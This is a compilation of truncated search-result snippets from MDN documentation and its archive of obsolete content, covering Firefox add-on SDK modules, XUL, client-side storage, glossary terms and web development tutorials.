following guides show you what need to do to implement a pwa, by examining a simple example and showing you how all the pieces work. introduction to progressive web apps progressive web app structure making pwas work offline with service workers how to make pwas installable how to make pwas re-engageable using notifications and push progressive loading technology guides client-side storage — a lengthy guide showing how and when to use web storage, indexeddb, and service workers. using service workers — a more in-depth guide covering the service worker api. using indexeddb — the fundamentals of indexeddb, explained in detail. using the web storage api — the web storage api made simple. instant loading web apps with an application shell architecture — a guide to using t...
...design, an essential topic for modern app layout. mobile first — often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top. add to home screen guide — learn how your apps can take advantage of add to home screen (a2hs). tools localforage — a nice simple javascript library for making client-side data storage really simple; it uses indexeddb by default and falls back to web sql/web storage if necessary. serviceworkerware — an express-like microframework for easy service worker development. oghliner — not only a template but a tool for deploying offline web apps to github pages. sw-precache — a node module to generate service worker code that will precache specific resources. workbox — spir...
Module structure of the SDK - Archive of obsolete content
-on. see the tutorial on creating reusable modules for more details. to import a local module, specify a path relative to the importing module. ...
Program ID - Archive of obsolete content
the program id is a unique identifier for your add-on. when you package your add-on for distribution using jpm xpi, it will become the id field in the add-on's install manifest. the id is used for a variety of purposes. for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on. when you create an xpi with jpm xpi: if the package.json does not include an id field, then the id written into the install.rdf is the value of the name field prepended with "@". if the package.json does include an id field, and it contains "@", then this is written into the install.rdf as the add-on id. if the package.json does include an id field, and it does not contain ...
Two Types of Scripts - Archive of obsolete content
1.0 of the commonjs module specification. you use require() to import functionality from another module, and exports to export functionality from your module. if require() is available, then so are the modules supplied in the sdk. ✔ ✘ the console global supplied by the sdk. ✔ ✔ globals defined by the html5 specification, such as window, document, and localstorage. ✘ ✔ the self global, used for communicating between content scripts and add-on code. see the guide to communicating with content scripts for more details. ✘ ✔ ...
page-worker - Archive of obsolete content
e url using the data.url() method of the self module. while content scripts can access dom content, they can't access any of the sdk apis, so in many cases you'll need to exchange messages between the content script and your main add-on code for a complete solution. for example, the content script might read some content and send it back to the main add-on, which could store it using the simple-storage api. you can communicate with the script using either the postmessage() api or (preferably, usually) the port api. for example, this add-on loads a page from wikipedia, and runs a content script in it to send all the headers back to the main add-on code: var pageworkers = require("sdk/page-worker"); // this content script sends header titles from the page to the add-on: var script = "var eleme...
self - Archive of obsolete content
ring. this uri can be used for apis which require a valid uri string, such as the passwords module. id this property is a printable string that is unique for each add-on. it comes from the id property set in the package.json file in the main package (i.e. the package in which you run jpm xpi). while not generally of use to add-on code directly, it can be used by internal api code to index local storage and other resources that are associated with a particular add-on. name this property contains the add-on's short name. it comes from the name property in the main package's package.json file. version this property contains the add-on's version string. it comes from the version property set in the package.json file in the main package. loadreason this property contains of the following strin...
High-Level APIs - Archive of obsolete content
r a given object is private, so an add-on can respect private browsing querystring utility functions for working with query strings. request make simple network requests. selection get and set text and html selections in the current web page. self access data that is bundled with the add-on, and add-on metadata. simple-prefs store preferences across application restarts. simple-storage lets an add-on store data so that it's retained across firefox restarts. system query the add-on's environment and access arguments passed to it. tabs open, manipulate, and access tabs, and receive tab events. timers set one-off and periodic timers. ui provides access to button, toolbar, and sidebar ui objects. url construct, validate, and parse urls. widget create a simple user inte...
cfx - Archive of obsolete content
and all examples. this accepts the same options as cfx test. using --profiledir by default, cfx run and cfx test use a new profile each time they are executed. this means that any profile-specific data entered from one run of cfx will not, by default, be available in the next run. this includes, for example, any extra add-ons you installed, or your history, or any data stored using the simple-storage api. to make cfx use a specific profile, pass the --profiledir option, specifying the path to the profile you wish to use. if you give --profiledir a path to a nonexistent profile, cfx will create a profile there for you. so you just have to make up a path and name the first time, and keep using it: cfx run --profiledir=~/addon-dev/profiles/boogaloo the path must contain at least one "/" (al...
cfx to jpm - Archive of obsolete content
work fine with jpm. however, there are a few differences you have to know about. add-on id the add-on id is a unique identifier for your add-on. in a built xpi, it's the id field in the add-on's install manifest (install.rdf) file. the id is used for a variety of purposes. for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on. id handling with cfx when you use cfx, the id is taken from the id field in the add-on's package.json file. you can edit this file to create your own id, but if you don't, cfx will generate one for you, which will look something like "jid1-f3boogbjqje67a". add-on ids need to be one of two types: a guid or a string that inc...
jpm - Archive of obsolete content
nts would ignore all zip files and .ds_store files from the xpi generated by jpm xpi. using profiles by default, jpm run uses a new profile each time it is executed. this means that any profile-specific data entered from one run of jpm is not, by default, available in the next run. this includes, for example, any extra add-ons you installed, or your history, or any data stored using the simple-storage api. to make jpm use a specific profile, pass the --profile option, specifying the name of the profile you wish to use, or the path to the profile. jpm run --profile boogaloo jpm run --profile path/to/boogaloo use the profile manager to create a new profile if needed. if you need changes to the profile to persist, add the --no-copy argument. however beware that jpm might also apply changes ...
Developing for Firefox Mobile - Archive of obsolete content
supported notifications supported page-mod supported page-worker supported panel not supported passwords supported private-browsing not supported querystring supported request supported selection not supported self supported simple-prefs supported simple-storage supported system supported tabs supported timers supported ui not supported url supported widget not supported windows supported low-level apis /loader supported chrome supported console/plain-text supported console/traceback supported content/con...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
because a lot of javascript files can slow down the browser down if they’re opened for debugging, but you’ll need to lift this restriction in order to develop extensions. uncheck the “exclude browser files” menu item under the debug menu (figure 1). fixme: figure 1: uncheck “exclude browser files.” set up quicknote for the purposes of this explanation, we’re going to use the file-storage mechanism in quicknote1 for our debugger. install quicknote from the following url and relaunch firefox. https://addons.mozilla.org/firefox/46/. after relaunching firefox, activate quicknote. then select tools:quicknote:float to display it in its own window. using venkman read in source code activate venkman, and then select open windows:quicknote.xul:files on the top-left of the screen. doub...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
am) { stream.finish(); } else { stream.close(); } }, createmenu method this event handler is called when the session store submenu opens. first, it deletes the menuitem elements that were dynamically generated the last time the submenu opened, and which are still left over. next, it dynamically generates menuitem elements based on the names of all the files in the session-storage directory, and inserts them into the menu. listing 24: content for createmenu method createmenu: function(event) { var menupopup = event.target; for (var i = menupopup.childnodes.length - 1; i >= 0; i--) { var node = menupopup.childnodes[i]; if (node.hasattribute("filename")) menupopup.removechild(node); } var fileenum = this._dir.directoryentries; whi...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
add-ons normally run code at startup, and as it is covered in the main tutorial, all you need is a load event handler and a little code. it is also common for an add-on to require to run a script only when it is installed for the first time, or every time it is updated. it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scripts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we ...
Connecting to Remote Content - Archive of obsolete content
pler xml document with only the data you need, so then you can use regular dom functions to read it. convert xml into sql statements. you could use this to generate a script to run on your local database. you would of course need to be very careful about escaping characters and protecting yourself against sql injection attacks. convert xml into rdf. this was more useful when rdf was the default storage format. you can still use rdf as an intermediate format, though, and then use templates to generate xul and display the data. http debugging when you start debugging http requests, you may find it hard to know exactly what data was sent, especially with post data. we recommend you to use extensions like tamper data. they help you to track http/https requests and responses occurring in firefox.
The Essentials of an Extension - Archive of obsolete content
« previousnext » the install.rdf file in the last section we looked at the contents of the hello world extension. now we'll look into its files and code, starting with the install.rdf file. you can open it with any text editor. the file is formatted in a special flavor of xml called rdf. rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system. we'll discuss both of these storage systems further ahead in the tutorial. now let's look at the important parts of the file. <em:id>helloworld@xulschool.com</em:id> this is the unique identifier for the extension. firefox needs this to distinguish your extension from other extensions, so it is required that you have an id that is unique. there are two accepted standards for add-...
XUL School Tutorial - Archive of obsolete content
on setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community sites appendices appendix a: add-on performance appendix b: install and uninstall scripts appendix c: avoiding using eval in add-ons appendix d: loading scripts appendix e: dom building and html insertion a...
Promises - Archive of obsolete content
ger.jsm", aom); example usage: task.spawn(function* () { // get an extension instance, and its data directory. let addon = yield aom.getaddonbyid(addon_id); let path = yield addon.getdatadirectory(); writer.writedatato(path); // disable all extensions. for (let extension of yield aom.getaddonsbytypes(["extension"])) extension.userdisabled = true; }); json file storage this helper simplifies the use of json data storage files with asynchronous io. the jsonstore object must be instantiated with the base name of the storage file and, optionally, a json-compatible object to be used if the file does not yet exist. the constructor returns a promise which resolves when the file’s contents have been loaded. the contents of the file will be initially loaded into th...
Source code directories overview - Archive of obsolete content
tworks). rdf contains c interfaces and code for accessing various data and organizing their relationships according to rdf. rdf stands for "resource description framework" which is an open standard. this code reads and writes data from and to the local file system, databases, the internet or any other source using a url-like syntax. security contains the security modules including nss and psm. storage contains an implementation of sqlite3. suite will contain files specific to the mozilla suite. sun-java contains c code so mozilla can communicate with the sun jvm (java virtual machine). it does not include the code for the virtual machine itself, though. themes contains the default themes for mozilla, modern and classic. toolkit contains the code for the toolkit used for firefox, thunderbir...
Layout System Overview - Archive of obsolete content
eator of the objects used by the presentation shell to manage the presentation. more details of the document viewer are needed here...). the presentation shell, or presshell, is first and foremost the owner of the formatting objects, the frames. management of the frames is facilitated by the frame manager, an instance of which the presshell owns. additionally, the presshell provides a specialized storage heap for frames, called an arena, that is used to make allocation and deallocation of frames faster and less likely to fragment the global heap. the presentation shell also owns the root of the style system, the style set. in many cases the presentation shell provides pass-through methods to the style set, and generally uses the style set to do style resolution and style sheet management. one of ...
JavaScript Client API - Archive of obsolete content
createrecord the createrecord( id, collection ) method gets called by the engine to request a new record for an item with a given guid. it's your store's responsibility to instantiate a record object, assign the given guid, and return it. itemexists(guid) should simply return true if an item with the given guid exists in the store, false oth...
Firefox Sync - Archive of obsolete content
ol. clients communicate through it. firefox home an ios application that functions as a sync client. mozilla server instance an instance of the server deployed and maintained by mozilla. if you use sync in your browser, this is what it talks to by default. specifications there are numerous specifications concerning sync. these include: an http api for client-server interaction storage formats used by the the clients cryptographic model for encrypting client data the definitive source for these specifications is http://docs.services.mozilla.com/. running a server it is possible to run your own sync server instance. full instructions are available at http://docs.services.mozilla.com/howtos/run-sync.html. getting involved and status for information on the current development st...
Menu - Archive of obsolete content
Archive › Mozilla › Jetpack › UI › Menu
t menu. left-click the button to show popupmenu: var button = $("<div />", document); button.text("click me"); var contextmenu = new jetpack.menu(["do this", "do that", "and the other"]); contextmenu.contexton(button); var popupmenu = new jetpack.menu(["frumpy", "frimpy", "frompy"]); popupmenu.popupon(button); complete jetpacks see a complete, real-word example that you can install in the simple storage documentation. check also jetpacks tagged with "tutorial" at the jetpack gallery. ...
Message Summary Database - Archive of obsolete content
the whole database in memory, and keeps it there. this makes it very fast to access our database objects, but it does increase memory usage. mork assumes the caller will do file locking, so two processes or threads writing to the same database can corrupt it. but i believe sql-lite has the same problem. mork is schema-less. this means we can add properties to rows arbitrarily. and we only pay the storage cost for a property if the row has the property set. we can still index on these properties, if we want. we would need the equivalent capabilities if we replaced mork. ...
FAQ - Archive of obsolete content
Archive › Mozilla › Prism › FAQ
atform. prism is built on top of the mozilla platform and its gecko rendering engine, just like mozilla firefox, so it provides the same capabilities to web applications that firefox provides, including support for html, javascript, css, and <canvas>. at the same time, we're also working to increase the capabilities of those apps by adding features to the web itself, like support for offline data storage and access to 3d graphics hardware, that will be available to web applications in both prism and firefox. how is prism different from xulrunner? prism is built on top of xulrunner. prism is a simple xulrunner application with the main portion of the ui consisting of a xul <browser> element. how does prism render web pages? prism uses gecko, the same browser rendering system found in firefox. w...
RDF Datasource How-To - Archive of obsolete content
e nsirdfdatasource interface your first chore will be to implement the nsirdfdatasource interface. there are basically two approaches that you can take in this endeavor: delegate to an inner proxy. for example, you may choose to delegate to the in-memory datasource, which is a generic datasource that implements nsirdfdatasource. typically, you provide a parser for reading in some sort of static storage (e.g., a data file); the parser translates the datafile into a series of calls to assert() to set up the in-memory datasource. when flush() is called, or the last reference to the datasource is released, a routine walks the in-memory datasource and re-serializes the graph back to the original file format. for examples of an implementation like this, look at the rdf/xml datasource or the bookmarks...
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments. old way: use nsstring& and nscstring& void mymethod(const nsstring& input, nsstring& output); new way: use nsastring& and nsacstring& void mymethod(const nsastring& input, nsastring& output); substrings what: get direct references to string fragments why: avoid making multiple copies of the string old way: use a bunch of nsautostrings, and use left(), right() and mid() to grab a segment of a string: // get an 8-character string starting at the 4th position nsautostring leftside; str.left(leftside, 12)...
Supporting private browsing mode - Archive of obsolete content
nd will probably be completely removed in firefox 21.see supporting per-window private browsing for details. firefox 3.5 introduced private browsing mode, in which potentially private information is not recorded. this includes cookies, history information, download information, and so forth. when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. extensions that may record potentially private information may wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. doing this is...
Table Cellmap - Border Collapse - Archive of obsolete content
as one can see from the following illustration this is enough to cover a whole table. only the right most edge and the bottom most edge of a table need to be stored in a different place. border for the top and left border we store the width and the owner of the border. the width is stored in pixel coordinates. ...
The Download Manager schema - Archive of obsolete content
loads in progress as well as queued and past downloads. the table is kept in a database file named "downloads.sqlite", in a table called "moz_downloads". the current database schema version is 8. this information is available using nsidownloadmanager methods to retrieve nsidownload objects for each download entry; however, if you feel like poking directly into the table, you can do so using the storage api. the schema table field name type description id integer a unique id for the download. this field is the primary key for the table. name text the download's file name. source text the source uri for the download. target text the destination uri for the download. temppath text the path of the temporary ...
querytype - Archive of obsolete content
extensions may provide support for additional datasources. ...
Index - Archive of obsolete content
Archive › Mozilla › XUL › Index
o quit a xul application, or force the application to quit, using the nsiappstartup interface. 435 how to implement a custom xul query processor component xul supports templating to create a block of content from a datasource query. the xul template guide has lots of detailed information on using xul templates. xul provides template query processors for rdf, xml and sql (mozstorage). the templating system also supports building custom query processors. custom query processors are xpcom components, must implement the nsixultemplatequeryprocessor interface and follow some conventions for when registering the component. 436 index found 1218 pages: 437 international characters in xul javascript firefox, gecko, guide, internationalization, ja...
Building Trees - Archive of obsolete content
ilder generates content in the template body and substitutes data from the datasource right away. however, it will generate the same result on screen to the user as with the tree builder. compare the example with a tree builder and the same example using a content builder. ...
Template Logging - Archive of obsolete content
ce. these types of errors are also logged to the console, however, these types of errors are logged whether the logging flag is set or not. the following lists the errors that can occur and an explanation of what the problem is. querytype attribute doesn't specify a valid query processor this error indicates that the querytype attribute is set to an unrecognized value. only the 'rdf', 'xml' and 'storage' values are provided by default. if you are using a custom query processor, it may indicate that it is not installed or set up properly. unexpected <queryset> element a <queryset> element was placed in an invalid location; they should be placed directly inside the <template> element with no other kinds of elements as siblings. no member variable found. action body should have an element with uri ...
The Joy of XUL - Archive of obsolete content
a calendar application this mini case study describes how oeone corporation (now part of hipplay; this calendar application is no longer listed on their site) integrated its calendar application with the core mozilla product. the calendar application is comprised of a xul front end and an xpcom component that leverages libical, a native library written in c, for date operations and calendar data storage. the calendar was initially developed exclusively for linux but was successfully ported to both macintosh and windows within a week. xul provides a rich set of ui components.the user interface for the calendar is written entirely in xul, javascript, and css, which is a testament to the power and flexibility of this application building framework. it uses simple xul components like boxes, grids, ...
XUL Questions and Answers - Archive of obsolete content
la to have extra ids added. displaying graphics and animation in xul? there are several options for displaying graphics and animation in xul: <html:canvas> svg <xul:image> (static images or animated gif; support for apng is planned) plugins templates with non-rdf datasources? support for non-rdf datasources for xul template is planned (bug 321170): xml datasources (bug 321171) storage (sqlite) datasources (bug 321172) when loading an xslt stylesheet into an xml i get the error: "error loading stylesheet: an xslt stylesheet load was blocked for security reasons." that error is from a security check that has been put up to safeguard against cross-site-scripting attacks. a scheme is in development to allow servers to open up their site for cross-site access, but that's not ...
XUL element attributes - Archive of obsolete content
this is useful for custom elements implemented in xbl. the element should fire change, command, or input event when the value is changed so that the preference will update accordingly. see the pref system documentation for more information. querytype type: string indicates the type of datasource used in a template. firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'. extensions may provide support for additional datasources. ref type: uri for template-generated elements, this attribute is used to specify the root rdf node where content generation begins. this will correspond to the value of an about attribute on an rdf container. this attribute should be placed alongside the datasources attribute. removeelement type: id when placed on an e...
What XULRunner Provides - Archive of obsolete content
see the wikimo:xul:installation story. extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dial...
mozilla.dev.platform FAQ - Archive of obsolete content
faq for questions asked on mozilla.dev.platform xulrunner q: xulrunner on mac os x a: instead of using /path/to/xulrunner-bin.ini, applications on a mac must be in an application bundle (foo.app). then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with newer (>1.5) features, such as storage? a: xulrunner trunk and 1.8 (but not 1.8.0) build storage by default, and anything can be built with storage if you put in you <tt>mozconfig --enable-storage</tt> q: program received signal exc_bad_instruction, illegal instruction/operand. 0x00016b50 in xre_createappdata () a: when you <tt>--disable-libxul</tt>, the xpcom glue doesn't have information about how to load all the dependent libraries like <tt>libgfx.dylib</tt>. in order to use xr suc...
Archived Mozilla and build documentation - Archive of obsolete content
ts, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page. further details on smaller tasks being done are available at user:dria:todo page. see also current events. download manager improvements in firefox 3 firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more. in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface. download manager preferences there are several preferences used by the download manager. this article provides a list of them. drag and drop this section describ...
2006-12-01 - Archive of obsolete content
a bug! the debate continues. discussion of support for modal windows within firefox 2.0 a lengthy post regarding the re-implementation of modal windows into firefox. basic feature that i think is a must in any web broswer a discussion revolving around the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed. mozstorage documentation up a revisted discussion surround the mozstorage documentation. rich results for searches a proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search. windows dde shell integration removal a call for responses or concerns regarding the removal of the dde shell integration. how do allow an internal web ...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 28 - november 03, 2006 announcements none for this week. discussions what is the 'lastmodifieddate' item used for in tb? there are some code example given and also further discussion on lastmodifieddate. tb storage-idea tb is planning to change from mbox-format storage to database-based storage. however, user wonder both storage method could exist in tb at the same time without crashing. suggestion made for e-mail popup it suggested that the e-mail popup duration should depends on number of messages and examples of this idea is provided. xul overlay question -- how to replace an existing element? no respond thus far. links in tb is not sent to firefox directly cédric corazza provided a code solution for this problem. bu...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 20 - october 27, 2006 announcements calendar test day october 31st a test date has been set for october 31st. more information can be found here. discussions importing outlook address files a discussion was started to attempt the export of outlook datae from ms outlook. storage calendar optimization a general discussion on optimization of widgets, java and the core of calendar's database. meetings no meetings were scheduled this week. authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
NPClass - Archive of obsolete content
priate api functions. fields structversion the version number of the structure. this is set to np_class_struct_version, which is 1 in mozilla 1.8.*, 2 since mozilla 1.9a1, and 3 since firefox 3.0b1. allocate returns a pointer to a newly allocated npobject. called by npn_createobject() if non-null, otherwise the browser calls malloc(). this function is expected to allocate and return enough storage to hold the npobject that is being created. deallocate called by npn_releaseobject() when an object's reference count reaches zero. if this field is null, free() is called isntead. invalidate called on live objects that belong to a plugin instance that is being destroyed. this call is always followed by a call to the deallocate function, or free(). any attempt to use an invalidated object wil...
NPN_CreateObject - Archive of obsolete content
ax #include <npruntime.h> npobject *npn_createobject(npp npp, npclass *aclass); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin wants to instantiate the object. <tt>aclass</tt> the class to instantiate an object of. returns the newly-allocated npobject. description if the given npclass provides an allocate function it is used to allocate the storage for the object and the npp argument passed to npn_createobject() is passed along to that function. if no allocate function is provided, malloc() is called to allocate enough memory to hold an npobject. the newly created npobject's reference count is initialized to 1 before it is returned. ...
Writing JavaScript for XHTML - Archive of obsolete content
re already lower case. problem: my cookie isn't saved! we found out already, that the document object in xml files is different from the ones in html files. now we take a look at one widly used property that is missing in xml files. in xml documents there is no document.cookie. that is, you can write something like document.cookie = "key=value"; in xml as well, but nothing is saved in cookie storage. solution: use the storage object with firefox 2 there was a new feature enabled, the html 5 storage object. although this feature is not free of critics, you can use it to bypass the non-existing cookie, if your document is of type xml. again, you will have to write your own wrapper to respect any given combination of mime type and browser. problem: i can't use document.write() this problem ...
Visual JS GE - Game development
, then in the node.js command prompt or console enter the following installation commands: npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 setting up config.js you will find config.js in the server_instance folder: all node.js applications use the same folder — server_instance. some apps might need to have local storage, for instance, editor.js. you need to edit the config file to include the correct paths to the node app and project instance, as indicated below: module.exports = { version : "0.5", path_of_node_app : "d:/path_to_server_instance_folder/server/" , // edit here path_of_www : "d:/xamp/htdocs/project_instance/", // path_to_www edit here editor_port : "1013", reg_path : "users/", ...
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud (create, read, update, delete) is an acronym for ways one can operate on stored data. it is a mnemonic for the four basic functions of persistent storage. crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status. learn more general knowledge crud on wikipedia ...
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
every byte can store an 8-bit number (i.e. between 0x00 and 0xff), so you must reserve more than one byte to store a larger number. by far the most common ordering of multiple bytes in one number is the little-endian, which is used on all intel processors. little-endian means storing bytes in order of least-to-most-significant (where the least significant byte takes the first or lowest address), comparable to a common european way of writing dates (e.g., 31 december 2050). ...
HTML5 - MDN Web Docs Glossary: Definitions of Web-related terms
learn more our html5 guide ...
Reference - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of objects, this is an object reference. on mdn, we could be talking about the javascript reference itself. in computing, a reference is a value that indirectly accesses data to retrieve a variable or a record in a computer's memory or other storage device. learn more general knowledge reference (computer science) on wikipedia ...
Serialization - MDN Web Docs Glossary: Definitions of Web-related terms
in an array buffer or file format). in javascript, for example, you can serialize an object to a json string by calling the function json.stringify(). ...
UTF-8 - MDN Web Docs Glossary: Definitions of Web-related terms
f-8 is backward-compatible with ascii and can represent any standard unicode character. the first 128 utf-8 characters precisely match the first 128 ascii characters (numbered 0-127), meaning that existing ascii text is already valid utf-8. all other characters use two to four bytes. each byte has some bits reserved for encoding purposes. since non-ascii characters require more than one byte for storage, they run the risk of being corrupted if the bytes are separated and not recombined. learn more general knowledge utf-8 on wikipedia faq about utf-8 on unicode website ...
buffer - MDN Web Docs Glossary: Definitions of Web-related terms
a buffer is a storage in physical memory used to temporarily store data while it is being transferred from one place to another. learn more general knowledge data buffer on wikipedia ...
How do I use GitHub Pages? - Learn web development
you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn from it, and improve on it. you can do that with other people's code too! this article provides a basic guide to publishing content using github's gh-pages feature. publishing content github is a very important and useful community to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow. ...
What is a web server? - Learn web development
these kinds of sites are composed of only a few html templates and a giant database, rather than thousands of static html documents. this setup makes it easier to maintain and deliver the content. active learning there is no active learning available yet. deeper dive to review: to fetch a webpage, your browser sends a request to the web server, which searches for the requested file in its own storage space. upon finding the file, the server reads it, processes it as-needed, and sends it to the browser. let's look at those steps in more detail. hosting files first, a web server has to store the website's files, namely all html documents and their related assets, including images, css stylesheets, javascript files, fonts, and video. technically, you could host all those files on your own com...
Your first form - Learn web development
objective: to gain familiarity with what web forms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases. what are web forms? web forms are one of the main points of interaction between a user and a web site or application. forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature). a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms. the cont...
Publishing your website - Learn web development
ces available like neocities, blogger, and wordpress. sometimes you get what you pay for, but sometimes these resources are good enough for your initial experiments. many companies provide hosting and domains. using an online tool like github or google app engine some tools let you publish your website online: github is a "social coding" site. it allows you to upload code repositories for storage in the git version control system. you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn from it, and improve on it. github has a very useful feature called github pages, which allows you to expose website code live on the web. google app engine is a powerful platform that lets you build and ...
Manipulating documents - Learn web development
window is the browser tab that a web page is loaded into; this is represented in javascript by the window object. using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more. the navigator represents the state and identity of the browser (i.e. the user-agent) as it exists on the web. in javascript, this is represented by the navigator object. you can use this object to retrieve things like the user's preferred language, a media stream from the user's webcam, etc. the document (represented by the do...
Third-party APIs - Learn web development
directly in the browser (i.e. via a file:// url). summary this article has given you a useful introduction to using third-party apis to add functionality to your websites. previous overview: client-side web apis next in this module introduction to web apis manipulating documents fetching data from the server third party apis drawing graphics video and audio apis client-side storage ...
Client-side web APIs - Learn web development
s article provides an introduction to the canvas api, and further resources to allow you to learn more. video and audio apis html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc. this article shows you how to do common tasks such as creating custom playback controls. client-side storage modern web browsers feature a number of different technologies that allow you to store data related to web sites and retrieve it when necessary allowing you to persist data long term, save sites offline, and more. this article explains the very basics of how these work. ...
Server-side web frameworks - Learn web development
b, shopify, airbnb, twitch, soundcloud, hulu, zendesk, square, highrise. laravel (php) laravel is a web application framework with expressive, elegant syntax. laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as: simple, fast routing engine. powerful dependency injection container. multiple back-ends for session and cache storage. expressive, intuitive database orm. database agnostic schema migrations. robust background job processing. real-time event broadcasting. laravel is accessible, yet powerful, providing tools needed for large, robust applications. asp.net asp.net is an open source web framework developed by microsoft for building modern web applications and services. with asp.net you can quickly create web...
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
summary that's enough for now. at this point, not only can we mark todos as complete, but we can clear them as well. now the only thing left to wire up the footer are the three filtering links: "all", "active", and "completed". we'll do that in the next article, using routin...
Ember interactivity: Events, classes and state - Learn web development
ab with the app running, we can type whatever we want, and when we hit enter we'll be greeted with an alert message telling us exactly what we typed. with the interactivity of the header input out of the way, we need a place to store todos so that other components can access them. storing todos with a service ember has built-in application-level state management that we can use to manage the storage of our todos and allow each of our components to access data from that application-level state. ember calls these constructs services, and they live for the entire lifetime of the page (a page refresh will clear them; persisting the data for longer is beyond the scope of this tutorial). run this terminal command to generate a service for us to store our todo-list data in: ember generate service...
Introduction to client-side frameworks - Learn web development
l piece of software larger and more computationally expensive to operate. some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones. the abstraction of frameworks affects not only your javascript, but your relationship with the very nature of the web. no matter how you build for the web, the end result, the layer that your users ultimately interact with, is html. writing your whole application in javascript can make you lose sight of html and the purpose of its various tags, and lead y...
Deployment and next steps - Learn web development
took advantage of the svelte reactivity system and learned how to avoid common pitfalls. we also saw some advanced concepts and techniques to interact with dom elements and to programmatically extend html element capabilities using the use directive. then we saw how to use stores to work with a central data repository, and we created our own custom store to persist our application's data to web storage. we also took a look at svelte's typescript support. in this article we've learned about a couple of zero-fuss options to deploy our app in production and seen how to setup a basic pipeline to deploy our app to gitlab on every commit. then we provided you with a list of svelte resources to go further with your svelte learning. congratulations! after completing this series of tutorials you sho...
Dynamic behavior in Svelte: working with variables and props - Learn web development
nto a dynamic template ready to display the tasks from our component's state. great! we are getting there. working with props with a hardcoded list of todos, our todos component is not very useful. to turn our component into a general purpose to-do editor we should allow the parent of this component to pass in the list of todos to edit. this would allow us to save them to a web service or local storage and later retrieve them for update. so let's turn the array into a prop. in todos.svelte, replace the existing let todos = ... block with export let todos = []. export let todos = [] this may feel a little weird at first. that's not how export normally works in javascript modules! this is how svelte 'extends' javascript by taking valid syntax and giving it a new purpose. in this case...
Cookies Preferences in Mozilla
e application-specific, so not all of them may apply to you. the default values given are for firefox 3. ...
Index
ng on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks to interfering with other user interface elements. 169 privacy privacy, security this document lists privacy-related documentation. 170 storage access policy: block cookies from trackers privacy, storage access policy, tracking protection firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources. this new policy is designed as an alternative to the current policies, which have been available in firefox for many years. the new policy protects against cross-site track...
Performance best practices for Firefox front-end engineers
o are based on an expectation that the from (0%) and the to (100%) values will be explicitly defined in the @keyframes definition. even though these values may be inferred through the use of initial values or the cascade, the offscreen animation optimizations are dependent on the explicit definition. see this comment and a few previous comments on that bug for more information. use indexeddb for storage appcache and localstorage are synchronous storage apis that will block the main thread when you use them. avoid them at all costs! indexeddb is preferable, as the api is asynchronous (all disk operations occur off of the main thread), and can be accessed from web workers. indexeddb is also arguably better than storing and retrieving json from a file—particularly if the json encoding or decod...
Blocked: Custom cookie permission
